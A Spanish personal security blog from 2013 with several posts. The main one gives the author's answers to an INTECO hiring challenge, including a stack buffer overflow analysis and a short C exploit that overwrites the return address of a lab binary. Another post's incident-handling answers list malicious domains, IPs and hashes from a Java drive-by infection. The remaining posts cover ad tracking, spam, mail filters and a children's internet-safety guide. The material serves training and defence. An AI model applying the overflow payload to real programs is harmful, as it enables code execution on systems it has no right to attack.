Redes Sociales

lunes, 28 de octubre de 2013

Respuestas a las pruebas de INTECO (2 de 2)

El pasado mes de Julio comencé a explicar mis respuestas a las pruebas de INTECO del pasado mes de Julio, sin embargo me dejé la segunda parte, que publico ahora:

Análisis de vulnerabilidades

La tercera prueba tenía que ver con un buffer overflow. Mostraban un trozo de código en ensamblador y preguntaban:

Pregunta 1:Explicar detalladamente, indicando direcciones de memoria, que sucede cuando se ingresan demasiados caracteres.[30%]

Respuesta:

El problema que ocurre aquí es que no se esta usando espacio de direccionamiento de datos para almacenar el nombre, se r eservan, en cambio, 28hex, o sea 40 bytes de espacio en la pila.

Como se ve en la instrucción 00401293, se está haciendo un SUB ESP,28, o sea reduciendo el tope de la pila (que crece hacia abajo) para que ahí se almacene el nombre.

Con valores concretos:

Al iniciar la función, el top de la pila tiene la instrucción desde la que ha sido llamada (004012F4). En ese momento ESP es 22FF5C y al hacer el PUSH EBP pasa a ser 0022FF58.

Con estos valores, el programa puede volver a la función que lo referencio al ejecutar el comando final RETN

00401290  /$  55            PUSH EBP
00401291  |.  89E5          MOV EBP,ESP
00401293  |.  83EC 28       SUB ESP,28

Al restarle 28hex ESP tiene el valor 22FF30, LOCAL.10 resuta ser la misma dirección: 22FF30, LOCAL.6 es 22FF40 y LOCAL.9 es 22FF34. Deberiamos poder meter un nombre de 40 caracteres, pero como se esta almacenando en LOCAL.6, en realidad se tienen solo 24 caracteres. Y ni eso porque siempre hay que contar el 0 final con el que acaban las cadenas en C. Asi pues 23 caracteres máximo.

00401296  |.  C70424 003040 MOV DWORD PTR SS:[LOCAL.10],OFFSET 00403 ; /format => "Introduce tu nombre: "
0040129D  |.  E8 9E050000   CALL <JMP.&msvcrt.printf>                ; \MSVCRT.printf
004012A2  |.  8D45 E8       LEA EAX,[LOCAL.6]
004012A5  |.  894424 04     MOV DWORD PTR SS:[LOCAL.9],EAX           ; /<%s> => OFFSET LOCAL.6
004012A9  |.  C70424 163040 MOV DWORD PTR SS:[LOCAL.10],OFFSET 00403 ; |format => "%s"
004012B0  |.  E8 7B050000   CALL <JMP.&msvcrt.scanf>                 ; \MSVCRT.scanf
004012B5  |.  8D45 E8       LEA EAX,[LOCAL.6]
004012B8  |.  894424 04     MOV DWORD PTR SS:[LOCAL.9],EAX           ; /<%s> => OFFSET LOCAL.6
004012BC  |.  C70424 193040 MOV DWORD PTR SS:[LOCAL.10],OFFSET 00403 ; |format => "Te llamas %s
"
004012C3  |.  E8 78050000   CALL <JMP.&msvcrt.printf>                ; \MSVCRT.printf
004012C8  |.  C9            LEAVE
004012C9  \.  C3            RETN



Pregunta 2: ¿Qué sucede cuando el nombre ocupa 28 caracteres?[20%]

Si metemos 28 caracteres, nos cargaremos el valor de EBP y añadiremos un 0 al final de la dirección de retorno (debido al 0 final de las cadenas en C), haciendo que la dirección de retorno sea a la 00401200 en vez de a la 004012F4 como debería ser. De esta manera al ejecución continua en un punto completamente diferente.




Pregunta 3: ¿Es posible usar la vulnerabilidad para ejecutar código en el sistema? Si es posible, muestra el código fuente de un programa que lo explote.[50%]

Dado que es un ejecutable Windows, es posible hacerlo desde la misma línea de comandos. Se crea un fichero de texto con 28 caracteres visibles, por ejemplo “1234567890123456789012345678” y a continuación se modifica en hexadecimal para añadirle la dirección de memoria a la que queremos que salte, por ejemplo 0x00, 0x40, 0x12, 0x96. De esta manera al ejecutar:

C:\>type exploit.txt | vulnerabilities.exe

En vez de volver a la direccion de retorno adecuada, saltará a la que le hemos indicado: 00401296 que hará que vuelva a preguntar el nombre una y otra vez.

Si lo que se desea es un programa, en este ejemplo saltamos la ejecución a 0022FF60, que es la siguiente posición en la pila y luego empezamos a meter código de nuestra elección:

#include 
int main()
{
char mona[] =             "\x34\x33\32\x31\x38\x37\x36\x35\x32\x31\x30\x39\x36\x35\x34\x33\x30\x39\x38\x37\x30\x30\x30\x30\x30\x30\x30\x30\x00\x22\xFF\x60\XC7\x04\x24\x00\x22\xFF\x30\xE8\x9E\x05\x00\x00";

FILE *file; 
file = fopen("exploit.txt","w"); 
fputs(mona,file);
fclose(file); 

 system(“type exploit.txt | vulnerabilities.exe ”);

}

El codigo que he metido despues ha sido una copia de lo encontrado en las líneas 00401296:

MOV DWORD PTR SS:[LOCAL.10],OFFSET 00403 
CALL    

…pero vamos ya podíamos meter lo que quisiéramos.




Para la cuarta prueba, daban un fichero "dd" y hacian las siguientes preguntas. Por desgracia para esta prueba no tuve tiempo y tuve que dejarlo en blanco:

Análisis forense

Pregunta 1: Indicar si la máquina está comprometida y en caso afirmativo con qué tipo de código malicioso, aportando las pruebas encontradas del mismo. [15%]

Pregunta 2: ¿Tiene procesos, bibliotecas o módulos ocultos en el sistema?. En caso afirmativo, indicar cuales con todos los detalles de los mismos y los métodos de detección utilizados. [30%]

Pregunta 3: ¿Existe algún tipo de indicio de comunicaciones en el sistema que permitan el control remoto del mismo? En caso afirmativo explicar detalladamente. (direcciones IP, puertos, procesos, ruta de los ficheros implicados, comandos ejecutados, privilegios en el sistema, etc.)[20%]

Pregunta 4: Extraiga los ficheros maliciosos identificados en el sistema e indique los hash (SHA256) de los mismos y la ruta donde están ubicados en el disco duro de la máquina.[20%]

Pregunta 5: Explicar cómo tiene persistencia en el sistema, aportando las evidencias encontradas.[15%]

La publicidad personalizada de Google y Yahoo

Cada vez más frecuentemente nos encontramos con que al entrar en una página nos aparecen anuncios de los productos que hemos estado comprando online recientemente.

Es lo que se llama publicidad personalizada y desde mi punto de vista es un atentado claro contra la intimidad.

A partir de esos anuncios personalizados, otra persona que utilice nuestro ordenador podria hacerse una idea de cuales son nuestros gustos y tendencias.

Un ejemplo es el siguiente:


Un rato antes de visitar esta página he estado mirando tarjetas de visita y precisamente he mirado esas. Que curioso, ¿no?.

Lo cierto es que en los blogs gratuitos la publicidad la publicidad nos viene impuesta, las páginas web muchas veces se financian gracias a este tipo de publicidad.

¿Y como obtienen la información de lo que he estado comprando?

Hay dos métodos principalmente, a partir de las cookies que ha dejado en nuestro ordenador la web donde hemos estado de compras y sobre todo gracias al historial de visitas de las grandes compañias: Google, Yahoo, Msn, etc.

En concreto durante el tiempo que estuve de compras, me quedé conectado tanto a mi cuenta de Yahoo!, como a mi cuenta de Google. Y es de éstos historiales que guardan ambas compañías de donde obtienen la información para realizar la "publicidad personalizada".

Hay forma de eliminar este tipo de publicidad. Si nos fijamos bien, en la parte superior del anuncio aparece un pequeño triangulo azul:


Al "clicar" sobre dicho nos lleva a la página de información de la compañia que nos esta ofreciendo la publicidad. En mi caso fueron tres diferentes:

Yahoo!

Al hacer clic sobre el triangulo superior del anuncio me redirigió a esta página donde explica por qué sale la publicidad y cómo obtienen la información relevante.
A medio anuncio, hay un boton (encubierto) con el texto "administre" que nos permite modificar la configuración de los (como ellos les llaman) "anuncios basados en intereses":
Al pulsar el boton nos lleva a una segunda página donde, ahora si, podemos eliminar la publicidad personalizada (dándole al botón excluir):

Evidon
Curiosamente, tras seguir estos pasos, al recargar la página con el anuncio, me salía un segundo anuncio, muy similar al anterior, que claramente seguía siendo publicidad personalizada.

Volví a repetir los mismos pasos y me encontré con que la página de información a la que era reenviado ya no tenía nada que ver con Yahoo!:


Asi que en este caso era una empresa de publicidad, más pequeña, la que me quería seguir vendiendo tarjetas...

Pues nada, tras leer un poco, vi que da la opción de "opt-out from selected companies". Vamos que no era solo Yahoo!, sino que sin saberlo, parace que yo estaba siendo un filón para determinadas compañías de internet.

Google
Al refrescar el anunció me mosqueó ver otro anuncio claramente personalizado. Mosqueado volví a seguir los pasos antes mencionados y me encontré con que esta vez era la propia Google la que estaba rastreando mi historial.

Esta vez al darle al triangulo verde, nos lleva a esta página:


Donde nos cuentan de nuevo todos los beneficios del servicio de anuncios de Google... Para, de nuevo,  perimtir cambiar la configuración, haciendo click en "Ad Settings". 

Donde, en la parte de abajo se puede, en la sección "inhabilitacion", inhabilitar los anuncios basados en intereses en Google y habilitar los anuncios de Google Basics.

Des pués de esto, al recargar la página siguieron saliendo anuncios, pero esta vez no relacionados, al menos que yo sepa, con mi historial de navegación:


Volví a hacer clic sobre el triangulo azul que me volvió a llevar a una página de Google, pero esta vez, me indicaba claramente que la publicidad personalizada esta deshabilitada.

Esto significa que esta página web tiene contratada su publicidad con Google, entre otros, y ésta intenta siempre mostrar antes de nada anuncios personalizados y si no, muestra anuncios más genéricos.

Otras compañías
Existen mutitud de otras compañias de publicitarias que operan de la misma manera. Estas tres que menciono son solo la punta del iceberg y en todas ellas existirá alguna forma de administrar que aparezcan o no los anuncios personalizados, tal y como se ha hecho con estas tres.

Cabe mencionar que deshabilitar la publicación de anuncios personalizados, no quiere decir que estas compañias esten dejando de "espiarnos". Recabarán toda la información que puedan siempre de nuestros habitos y paginas visitadas y encontrarán, seguro, alguna forma de aprovecharse de ello.

Para intentar evitar al máximo que compañias como Google y Yahoo se dediquen a almacenar lo que vamos haciendo, se pueden seguir algunos consejos:

1.- Utilizar la navegación privada (Ctrl + Shift + N en Google chrome, Ctrl + Shift + P en Firefox y también Ctrl + Shift + P en Internet Explorer)

2.- No mantenerse logado con nuestro usuario de Google, Yahoo, Msn, o el que sea mientras navegamos por internet. Debemos usar estos usuarioss en su momento adecuado y cuando dejemos de hacer uso del correo del google o los grupos de Yahoo, o lo que quiera que estemos usando, deslogarse automáticamente.

Slds

miércoles, 16 de octubre de 2013

Metasploit Database FATAL Error: Remaining connection slots are reserved for non replication superuser connections

Hoy al levantarme y abrir el metasploit me encuentro con que no me abre por un error aparentemente claro:

"Database FATAL Error: Remaining connection slots are reserved for non replication superuser connections"

Me acuerdo de que el día anterior he dejado lanzado un db_autopwn que es lo más parecido al ping de la muerte que se puede lanzar. "Debo haber petao la base de datos", pienso. Hasta que me pongo a buscar la base de datos y coño, no existe. De hecho, prueba a instalar postgresql y la instala, "es decir esta funcionando sin base de datos". Craso error. Esta funcionando con base de datos y con un postgresql, pero es el postgresql que viene por defecto con el metasploit, haciendo un ps me encuentro con esto:

Pues nada, a matar:

for i in `ps -ef | grep idle | grep -v grep | awk '{ print $2 }'`; do kill -9 $i; done

Como vemos acaba de crear un proceso similar, pero todos los anteriores, del lanzamiento del db_autopwn, ya no estan. Intentamos abrir el metasploit ahora, et voila!. Vamos, una chorrada:

martes, 8 de octubre de 2013

Spam de todos los colores

El SPAM sigue siendo uno de los mayores quebraderos de cabeza con los que tanto usuarios, como administradores de sistemas se siguen encontrando.

En ocasiones no es facil saber cuando un correo es SPAM, aunque ciertamente, con algo de ojo y un poquito de experiencia, nadie debería ser engañado por un correo de este tipo, pero ya se sabe de entre un millon de receptores, alguien va a picar. Seguro. Y podriamos ser cualquiera de nosotros.

Y es que el SPAM malicioso (ojo, que hay que distinguir porque existe otro tipo de SPAM que es solamente eso, molesto) va actualmente va dirigido a todo el mundo y para ello se aprovecha de todo tipo de recursos.

Las temáticas que aprovecha son de todo tipo, grandes calamidades, por ejemplo recientemente:

o de dias señalados del año como:

Pero no son solo dias memorables americanos y rusos, tambien podemos encontrar días más "españoles" como:

Estos son un clásico y cada año se crean nuevas campañas de SPAM dirigidas a días tan señalados.

También son objetivo de los spammers aspectos aparentemente menos "celebrables":

Por supuesto, en un entorno informatico como es la base del SPAM, también se aprovechan de las aplicaciones informáticas móviles y servicios de internet que conforman la web 3.0 actual:

Podriamos seguir asi hasta rellenar un libro entero, pero tampoco tiene sentido. Cualquier evento que ocurra, noticia relevante, dia señalado, etc. es una excusa para lanzar una nueva campaña de SPAM. Podríamos pensar cualquier hecho noticiable que haya ocurrido en los ultimos 5 años y buscar en google y muy probablemente encontraríamos que ha sido utilizado como parte de una campaña de SPAM.

Sin embargo a partir de los ejemplos que he señalado antes podría pensarse que el SPAM va dirigido a EEUU, Rusia, China, Irlanda o Reino Unido. Y nada más lejos de la realidad, podemos encontrar, sin demasiado esfuerzo ejemplos de SPAM con objetivo claramente español:

Para evitar caer en ellos tenemos que tener claro que es correo que NO esperamos recibir, en muchas ocasiones escrito en inglés u otro idioma desconocido, con faltas de ortografía o frases sin sentido y que siempre siempre te anima a:

  • hacer click en un enlace
  • abrir un documento adjunto

Lo de que venga en inglés no es un metodo seguro de filtrar el SPAM, hay muchos casos de SPAM malicioso en español que podria engañarnos.

...el objetivo es siempre engañar y los spammers saben muy bien lo que va a llamar la atención de la gente. Y lo aprovechan. Por eso, cuando recibais un correo que no esperamos hay que abrirlo siempre con precaución, uno nunca sabe que podría contener.

lunes, 1 de julio de 2013

Guía de introducción de conceptos de seguridad informática en niños

Propondremos a continuación un procedimiento de introducción de conceptos de seguridad en los más pequeños. Esta pensado por mi únicamente por lo que probablemente no tenga mucha validez pedagógica.

la actividad que he pensado se compone de cuatro bloques de contenidos, referidos a cada uno de los aspectos que los pequeños deben tener en cuenta a la hora de utilizar el ordenador y navegar por Internet: juegos, chat, correo electrónico y páginas web.

Para ir introduciendo el tema y descubrir el conocimiento del medio que tienen los niños, podemos tomar como punto de partida una serie de preguntas para contextualizar el tema. - ¿Sabéis todos lo que es Internet, verdad? - ¿Cuantos de vosotros lo usáis? - ¿Y qué hacéis en Internet?



JUEGOS

Empezaremos con la sección de juegos porque posiblemente es de lo que más utilicen en Internet. Para ir adentrando el tema de la seguridad, haremos preguntas y, ante sus respuestas, se propondrá el consejo que se menciona a continuación. Empezaremos con una pregunta introductoria:

  • ¿Cuántos de vosotros jugáis a través de Internet?
  • Cuando estáis jugando en Internet, ¿os acompañan vuestros padres?
  • CONSEJO: Recordad que siempre, cuando vayáis a cualquier pagina de juegos en Internet debéis estar con vuestros padres, porque no todos los juegos son para todos los niños. Tampoco os debéis fiar de todas las páginas que ofrecen juegos, hay algunas que son malas y podrían estropearos el ordenador o intentar engañaros de una u otra forma. Decídselo también a vuestros padres para que lo sepan y os acompañen mientras jugáis.

  • Cuando vais a páginas de juegos ¿tenéis que meter vuestro nombre o dirección?
  • CONSEJO: Recordad, y si es necesario, se lo recordáis también a vuestros padres, que no hay que dar demasiada información (como vuestro nombre, edad o dirección) en Internet, ni siquiera en las páginas de juegos. Son datos que no hacen falta para poder disfrutar de los juegos.

  • ¿Y habéis conocido alguna vez a otro niño con el que hayáis jugado a través de Internet?
  • CONSEJO: Recordad que no debéis hablar ni quedar con jugadores que hayáis conocido a través de Internet. No les conocéis y no sabéis cuáles son sus intenciones, es posible que ni siquiera sean quien dicen ser y estéis hablando con un adulto que se hace pasar por un niño.

  • ¿Y cuanto tiempo os pasáis al día en Internet jugando?
  • CONSEJO: Al igual que con la televisión, no se debe estar demasiado tiempo en Internet, ni siquiera jugando. Y por supuesto, no debe quitaros tiempo de estudiar o de estar con vuestra familia y amigos. Habladlo con vuestros padres y llegad a un acuerdo. ¡Hay muchas otras formas de pasarlo bien!

POSIBLES PREGUNTAS DE LOS NIÑOS

Las posibles preguntas que puede formular un niño son infinitas, pero se plantean un par de ellas por cada tema.

  • ¿Y por qué no podemos poner nuestro nombre y dirección cuando estamos jugando?
  • Aunque mucho de lo que hay en Internet es bueno y divertido, también hay gente mala. Sólo queremos evitar que os pase algo malo. Sabiendo demasiada información de vosotros, los malos podrían intentar contactar con vosotros para engañaros.

  • Mis padres no me dejan jugar a (nombre de determinado juego), ¿por qué?
  • Tus padres saben muy bien lo que es bueno para vosotros. No conozco tu caso en concreto, pero si tus padres no te están dejando jugar a (nombre del juego) es porque consideran que es lo mejor para ti. Hazles caso. Hay muchos otros juegos en Internet tanto o más divertidos que el que comentas y adaptados para niños como tú. Además, hay muchas formas de divertirse fuera de Internet.

  • Pero hay páginas que si no meto mi nombre y dirección no puedo jugar…
  • En ese caso, antes de entrar díselo a tus padres y que sean ellos quienes decidan y escriban tu nombre y dirección. Además en internet hay muchas páginas web de juegos que no necesitan meter ningún tipo de información.



CORREO ELECTRÓNICO

Continuamos con el correo electrónico. No sabemos hasta qué punto está extendido el uso del mismo entre niños de 7- 8 años, pero es un mundo en el que incluso los adultos muchas veces no somos capaces de desenvolvernos y puede ser peligroso que un niño tenga acceso a una cuenta de correo electrónico, sobre todo si antes no se le han dado unas pautas de uso de la misma

De nuevo proponemos una pregunta introductoria para a continuación introducir los consejos como respuesta a las preguntas.

  • Los que usáis el correo electrónico. ¿Con quién os escribís?
  • Familia, amigos...

  • Cuando leéis el correo electrónico, ¿os acompañan vuestros padres o hermanos mayores?
  • CONSEJO: Es conveniente que vuestros padres estén con vosotros cuando leéis el correo electrónico. Os ayudarán a usarlo y a disfrutarlo y también a identificar situaciones raras.

  • ¿Alguna vez habéis recibido algún correo que no era para vosotros, que no os interesara o que tuvisteis que tirar a la basura?
  • CONSEJO: Si alguna vez recibís un correo de alguien que no conocéis, que os parece raro o que no os gusta, avisad a vuestros padres. Ellos podrán ayudaros. También os enseñarán que ese tipo de correos no se deben abrir y cómo hay que borrarlos. A veces incluso se reciben correos raros de gente conocida. Por eso necesitáis la ayuda de vuestros padres.

  • ¿Alguna vez habéis respondido a un correo de alguien que no conocíais?

    CONSEJO: Recordad no enviar nunca vuestras fotos, ni datos como vuestro nombre, edad o dirección a alguien que no conozcáis. Sólo vuestros amigos y vuestra familia necesitan saber esas cosas, y no hace falta que se las contéis por Internet, porque ya os conocen y las saben.

  • ¿Cuántos sabéis vuestras contraseñas, ya sean del correo electrónico, de un juego o de una página web?
  • CONSEJO: Recordad, siempre, que nunca le debéis decir vuestras contraseñas a nadie, ni del colegio, ni a tus amigos. Solo las debéis saber vuestros padres y vosotros.

POSIBLES PREGUNTAS DE LOS NIÑOS

  • ¿Cómo sabemos si un correo es malo?
  • Muchas veces vuestro ordenador os lo dirá, pero no siempre. Por eso hay que estar alerta. También lo podréis saber porque son correos que no se entienden bien y, sobre todo, porque son de gente que no conocéis. Cuando veáis uno de esos correos, debéis decírselo a vuestros padres.

  • ¿Por qué hay que borrar los correos malos?
  • Hay correos que son malos, porque tienen un virus que puede infectar vuestros ordenadores. Igual que vosotros cogéis un catarro, el ordenador también se puede poner malo. Para curaros, vosotros tomáis unas medicinas y al ordenador se le instala un programa llamado antivirus. Para evitar que el ordenador se ponga malo una y otra vez, lo mejor es borrar esos correos.

  • ¿Por qué no puedo decir mis contraseñas a mis amigos?
  • Responderé con otra pregunta: ¿Alguno de vosotros tiene algún secreto?. ¿A que no se lo contáis a nadie?. Una contraseña es como un secreto, solo nosotros podemos saberlo, porque si todo el mundo lo sabe, deja de ser un secreto, ¿verdad?. Pues una contraseña dejaría de ser una contraseña si la supiera todo el mundo. Además, si tus amigos supieran tu contraseña, podrían entrar en tu correo y ver los mensajes que son solo para ti, jugar en tus juegos o hablar con otros amigos haciéndose pasar por ti. ¿Es eso lo que queréis?.



CHAT/MESSENGER

A continuación se intentarán introducir una serie de consejos a la hora de usar programas de mensajería instantánea, como el IRC, el Messenger, el Skype o cualquier chat de cualquier red social (aunque, por su edad, no deberían tener acceso a las redes sociales).

  • ¿Sabéis lo que es un chat, el Messenger, el Skype o programas como estos para hablar con la gente?. ¿Alguno los habéis utilizado alguna vez?
  • CONSEJO: Recordad, que, al igual que en la vida normal, nunca debéis hablar por Internet con gente que no conozcáis. Aunque estéis en casa, con vuestros padres, y parezcan gente muy simpática y divertida.

  • ¿Alguno habéis hablado con alguien que no conocierais en la vida real?
  • CONSEJO: Esos programas tienen listas de amigos para poder conversar con ellos más fácilmente, pero es importante que no agreguéis a vuestra lista de amigos a personas que no conocéis. Y recordad no hablar con gente que no conocéis en la vida real, aunque parezcan muy majos y agradables. La razón es que no sabéis quienes son, ni cuáles son sus intenciones. Cuando estéis chateando, nunca deis datos sobre vosotros mismos como: dónde vivís, cómo os llamáis, cuántos años tenéis… Sólo vuestros amigos reales y vuestra familia necesitan saber esas cosas, y no hace falta que se las contéis en el chat, porque ya os conocen y las saben. No quedéis con gente que habéis conocido en un chat, cualquiera puede hacerse pasar por otra persona para engañaros. Si alguien os dice que quiere quedar con vosotros, decídselo a vuestros padres.

  • ¿Sabéis que os podéis intercambiar fotos, videos y otros ficheros con esos programas?
  • CONSEJO: Esto está muy bien, pero recordad, nunca aceptéis archivos de personas que no conocéis. Tampoco enviéis fotos vuestras o de alguien de vuestra familia en el chat, aunque os prometan algún regalo o algo parecido.

POSIBLES PREGUNTAS DE LOS NIÑOS

Como siempre, añadimos alguna posible pregunta que pudiera realizar algún niño.

  • ¿Y quiénes son esos señores malos?
  • Son gente que parecen buenos, pero son muy tontos y luego os quieren engañar. Mucho cuidado. Sed más listos que ellos y no les hagáis caso.



PÁGINAS WEB

En este caso, la pregunta introductoria será:

  • Todos habéis visitado páginas web en Internet, ¿verdad?. ¿A qué páginas web habéis ido?
  • ¿Sabéis que hay páginas web que son malas?
  • CONSEJO: Por eso hay que tener cuidado al navegar por Internet y lo mejor es que estés con tus padres cuando navegues, porque ellos te enseñarán qué paginas son las más adecuadas para ti.

  • ¿Habéis visto alguna vez alguna página que no os haya gustado u os haya hecho sentir mal?
  • CONSEJO: Hay muchas páginas web de este tipo. También hay páginas web que podrían estropearos el ordenador. Cuando llegues a una página que no entiendes o que te hace sentir mal, ciérrala y díselo a tus padres.

POSIBLES PREGUNTAS DE LOS NIÑOS

  • ¿Y cómo puedo saber si una página web es mala?
  • Para eso hay programas que debéis instalar en vuestro ordenador y que os avisarán. Decídselo a vuestros padres y ellos os explicarán como saber cuándo el programa os esta avisando de que una página web es mala.



RESUMEN

El mejor consejo que se puede dar es no hacer cosas que no harías en la vida normal. Internet no deja de ser una extensión del mundo real donde podemos encontrar las mismas cosas buenas y malas que en el mundo real. Para ellos, Internet debe ser un sitio bonito y agradable donde jugar, navegar y relacionarse.

Otro buen consejo genérico es que cualquier cosa que vean que no les guste cuando estén en Internet, lo abandonen y se lo comuniquen a sus padres. Es muy importante hacer hincapié en establecer una continua relación de confianza y comunicación con sus padres a la hora de hacer uso de Internet.

miércoles, 26 de junio de 2013

El uso de filtros para evitar correo no deseado

Después de tanto tiempo utilizando internet, navegando por multitud de páginas web y registrándonos en muchas de ellas, acabamos recibiendo infinidad de correos de marketing que, si los primeros días aún nos interesaban, pasados unos meses hemos simplemente comenzado a ignorar.

Sin embargo estos correos siguen llegando, puntuales, a nuestro buzón y llenándolo, y molestando. Sobre todo eso, molestando.

Es hora, pues de librarnos de ellos. ¿Y cómo puedo hacer eso. ¿Puedo bloquear el remitente para que no me lleguen más?. Muchas veces sí y luego explicaré como conseguirlo, pero si la empresa que nos manada publicidad cumple la LOPD sus correos de Marketing tienen que tener un pie como el siguiente:

En pequeñito, eso sí, pero te dan la posibilidad de darte de baja. Sólo hay que hacer clic en el enlace que indican. Facil, ¿no?. Pues no.

En muchas ocasiones recibimos estos correos porque nos hemos registrado en su página web y lógicamente van a pedir que iniciemos sesión con ellos (por si este correo hubiera caído en manos de quien no debe y nos diera de baja del servicio). Es una medida de precaución comprensible pero molesta. Si nos acordamos de la contraseña (en mi caso difícil porque en cada sitio meto un nombre de usuario y una contraseña diferente) podremos logarnos y en ocasiones con esto es suficiente.

Pero en otras ocasiones hay que ir al perfil de usuario de tu cuenta en esa web y buscar un pequeño “checkbox” que indique que queremos recibir correos electrónicos suyos. Al desmarcar esa cuadricula deberíamos dejar de recibir esos molestos correos…. O no.

El problema por otra parte viene de los correos electrónicos (no deseados) que no indican la forma de dejar de recibirlos:

Qué bien, ¿no?. ¿Y cómo me doy de baja de este servicio?. Pues difícilmente. No nos queda otra opción que filtrar el remitente de estos correos desde el cliente de correo. ¿Y eso como se hace?.

El primer problema ante esto es que este tipo de correos no siempre se envían desde la misma dirección de correo por lo que a veces hay que filtrar un buen puñado de direcciones de correo.

GMAIL

Cada servicio de correo es diferente. Por ejemplo GMAIL nos ofrece directamente la opción de filtrar los correos “similares” a este que no queremos:

En ese momento nos pregunta exactamente cómo queremos filtrar este correo (por el remitente, por el asunto, por su contenido…):

A partir de este momento, este tipo de correos aparecerán en el buzón de SPAM.

Hotmail/Outlook/Live

En este caso, tendremos que ir, en la parte superior a Limpiar --> Administrar Reglas:

Aquí le daremos al botón “Nuevo” y escogeremos como queremos que sea nuestra “regla”:

Por ejemplo, si lo que queremos es eliminar los correos procedentes de trabajar@trabajar.com así es como deberíamos rellenar el formulario.

Thunderbird/Microsoft Office Outlook

Los clientes físicos de correo también tienen esta posibilidad. En concreto en Thunderbird se encuentran en el menú Herramientas --> Filtros de mensajes y Outlook en Herramientas --> Reglas y alertas:

En concreto el sistema de filtros de Microsoft Outlook es muy intuitivo y fácil de usar. Además su configuración es ata muy bien explicado en multitud de páginas de internet.

Tampoco podemos en este artículo explicar cómo funciona el servicio de filtrado de todos los servicios de webmail pero la gran mayoría, si no el 100% de ellos, dan la posibilidad de establecer filtros de correo.

Esta es una manera perfectamente válida de evitar que nos lleguen esos molestos correos que no hemos solicitado y tener un buzón de entrada mucho más limpio y seguro.

domingo, 23 de junio de 2013

Respuestas a las pruebas de INTECO (1 de 2)

Recientemente, INTECO ha sacado una oferta de 20 plazas para perfiles técnicos ("hackers"). Para cubrir las plazas el pasado día 10 se publicaron 4 "retos" en temas tan dispares como Computer Forensics, Incident Handling, Reversing y Descubrimiento de vulnerabilidades.

Las pruebas se basan en unos ficheros que contienen desde capturas de memoria, capturas de tráfico de red, un "crackme" o un programa en el que hay que buscar vulnerabilidades. INTECO planteaba una serie de preguntas en relación a estos ficheros y lo que podia ocurrirles a los sistemas afectados.

Estos ficheros lo podemos encontrar en https://mega.co.nz/#!dwNSUbYa!crHig0UYRVSVCytehho3tyMuPBsRi_8Zt-M8AsXStDM

Yo me presenté a esas plazas e hice las pruebas de los 4 apartados. A continuación publico mis respuestas. Esta sería la primera de dos entradas con este asunto y en el de hoy pondré mis respuestas en los retos de INCIDENT HANDLING y REVERSING.

INCIDENT HANDLING

¿Cómo se ha comprometido el sistema?[15%]
El usuario con la IP 192.168.78.132 ha recibido un correo SPAM sobre los atentados de Boston que incluía un enlace. A partir del segundo 17 de la captura (frame 282), hace clic sobre el enlace, que le dirije a http://188.2.164.112/boston.html

Dicha página web incluye 5 iframes, 4 de ellos con enlaces a videos reales de los atentados de Boston y un iframe que le redirige a http://heathawkheaters.com/hair.html (IP216.172.186.132)

Este último iframe solo muestra un mensaje de error, pero incluye un applet java que descarga un fichero malicioso vz1.jar

Este fichero se trata de un exploit que se aprovecha de la vulnerabilidad de Java con CVE-2012-1723 (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1723) 

También se descarga otros ficheros maliciosos como:
Newbos3.exe (frame 2714) desde kolasoeg.ru, se trata, según virustotal de zbot-KR(Sophos) o Tepfer.imbp(Kaspersky) 

Indique los hashes SHA256 y tipo de ficheros maliciosos encontrados en las conexiones.[15%]
• vz1.jar  -- FRAMES 1807 a 1821 - Este fichero se trata de un exploit que se aprovecha de la vulnerabilidad de Java con CVE-2012-1723 (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1723)  
SHA256: 0bf5cdfd7387cf818d53e463f19d98c8bd14439e85b137bb6503d1faa85555db
https://www.virustotal.com/es/file/0bf5cdfd7387cf818d53e463f19d98c8bd14439e85b137bb6503d1faa85555db/analysis/1370856836/

• Newbos3.exe (frame 2714) – Descargado desde kolasoeg.ru - Se trata de un troyano ejecutable windows, según virustotal es Zbot-KR(Sophos) o Tepfer.imbp(Kaspersky) 
SHA256: 6bab0821aec44f13e41af7ef73fa528c2ef8b4c36be1886a7a57e7e173be536b
https://www.virustotal.com/es/file/6bab0821aec44f13e41af7ef73fa528c2ef8b4c36be1886a7a57e7e173be536b/analysis/1370856559/

• Setup.exe (frame 1923) descargado desde dustpanrecordings.com ( 208.109.138.8) tras una consulta   http://dustpanrecordings.com/i.htm?1wDg6bS8MzvoprjDTFHphg7wwLPVZ 
Sin embargo, no he sido capaz de obtener el ejecutable. Se trataría de este enlace a bvirstotal:
https://www.virustotal.com/es/file/6894347ff4238ee06c8f9b8e2ca2dc01b3aea7f973b40db5366c4400964cbc43/analysis/1366258011/ que no considera que sea malicioso:
SHA256: 6894347ff4238ee06c8f9b8e2ca2dc01b3aea7f973b40db5366c4400964cbc43

Indique los dominios y las direcciones IP relacionadas con el incidente hasta que se comprometió el sistema.[15%]
188.2.164.112 – Dominio serbio del enlace que llegaba en el SPAM (sin nombre de dominio)
216.172.186.32  - http://heathawkheaters.com/ Alojado en EEUU. Lugar desde el que se descarga el exploit Java.
109.87.207.34 – kolasoeg.ru – Lugar desde donde se descarga el fichero newbos3.exe
208.67.220.220 – dustpanrecordings.com – Lugar desde donde se descarga el ejecutable setup.exe
5.105.75.42 – Desde esta IP se descarga posiblemente un payload para el exploit de Java.

Describa el flujo de conexiones relevantes en el incidente, con todos los detalles de las mismas.[20%]
La victima hace clic en el enlace del correo electrónico SPAM que le lleva a 188.2.164.112 (frame 282):
 http://188.2.164.112/boston.html

Dicha página web incluye 5 iframes, 4 de ellos con enlaces a videos reales de los atentados de Boston y un iframe que le redirige a http://heathawkheaters.com/hair.html (IP 216.172.186.132).

Este último iframe solo muestra un mensaje de error, pero incluye un applet java que descarga un fichero malicioso vz1.jar desde esa misma IP (FRAME 1807-1821).

El applet java se ejecuta y descarga el fichero 13.htm (FRAME 1824-1891) , SHA256: 64341e4ed560fcecd393deb4a15c0f75b99daf002a4c735194316c22327473ac , que no es detectado como un fichero malicioso, pero tampoco es una página web.

A partir de ese momento la maquina queda comprometida y comienzan a descargarse un troyano llamado newbos3.exe desde  109.87.207.34 – kolasoeg.ru  (FRAME  2714)

Al ejecutarse este troyano, la victima se conecta con 46.119.212.23 y 5.105.75.42, se conecta con 78.111.219.45 para descargarse login.html

A partir del frame 2777 (segundo 74, 10 segundos después de ejecutar el troyano) abre 65 conexiones HTTP contra las IPs 141.102.121.96, 186.2.166.59, 190.93.251.24, 91.202.142.208, 186.2.185.13, 178.32.71.33, 64.235.40.176

